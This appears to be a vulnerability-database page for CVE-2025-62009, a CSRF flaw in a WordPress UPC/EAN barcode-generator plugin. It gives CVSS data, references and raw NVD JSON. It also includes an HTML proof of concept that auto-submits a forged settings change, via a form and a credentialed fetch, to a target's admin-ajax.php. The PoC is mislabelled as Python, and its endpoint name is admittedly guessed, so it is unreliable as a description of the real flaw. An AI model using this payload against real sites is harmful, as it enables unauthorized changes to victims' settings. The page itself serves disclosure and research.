CVE-2025-62009

Description

Cross-Site Request Forgery (CSRF) vulnerability in Dmitry V. (CEO of "UKR Solution") UPC/EAN/GTIN Code Generator upc-ean-barcode-generator allows Cross Site Request Forgery.This issue affects UPC/EAN/GTIN Code Generator: from n/a through <= 2.0.2.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

UPC/EAN/GTIN Code Generator <= 2.0.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-62009 -->
<!-- This PoC demonstrates the CSRF vulnerability in UPC/EAN/GTIN Code Generator plugin -->
<!-- Target: WordPress site with upc-ean-barcode-generator plugin <= 2.0.2 -->
<!DOCTYPE html>
<html>
<head>
    <title>CSRF PoC - CVE-2025-62009</title>
</head>
<body>
    <h1>CSRF PoC for CVE-2025-62009</h1>
    <p>UPC/EAN/GTIN Code Generator Plugin <= 2.0.2</p>
    
    <!-- Auto-submit form targeting the plugin's admin-ajax.php endpoint -->
    <form id="csrfForm" action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
        <!-- Plugin's action parameter - adjust based on actual vulnerable endpoint -->
        <input type="hidden" name="action" value="upc_ean_save_settings">
        <!-- CSRF vulnerable parameters -->
        <input type="hidden" name="upc_ean_code_type" value="UPC-A">
        <input type="hidden" name="upc_ean_custom_value" value="MALICIOUS123">
        <input type="hidden" name="nonce" value=""> <!-- No nonce validation -->
    </form>
    
    <script>
        // Auto-submit form when page loads
        document.getElementById('csrfForm').submit();
        console.log('CSRF request sent');
    </script>
    
    <!-- Alternative: Fetch-based attack -->
    <script>
        fetch('http://target-site.com/wp-admin/admin-ajax.php', {
            method: 'POST',
            headers: {'Content-Type': 'application/x-www-form-urlencoded'},
            body: 'action=upc_ean_save_settings&upc_ean_code_type=UPC-A&upc_ean_custom_value=ATTACK',
            credentials: 'include'
        }).then(r => r.text()).then(console.log);
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62009
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62009
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62009/
[4] VulDB https://vuldb.com/cve/CVE-2025-62009
[5] https://patchstack.com/database/Wordpress/Plugin/upc-ean-barcode-generator/vulnerability/wordpress-upc-ean-gtin-code-generator-plugin-2-0-2-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62009", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:16:02.780", "lastModified": "2026-04-27T17:16:29.453", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in Dmitry V. (CEO of \"UKR Solution\") UPC/EAN/GTIN Code Generator upc-ean-barcode-generator allows Cross Site Request Forgery.This issue affects UPC/EAN/GTIN Code Generator: from n/a through <= 2.0.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/upc-ean-barcode-generator/vulnerability/wordpress-upc-ean-gtin-code-generator-plugin-2-0-2-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}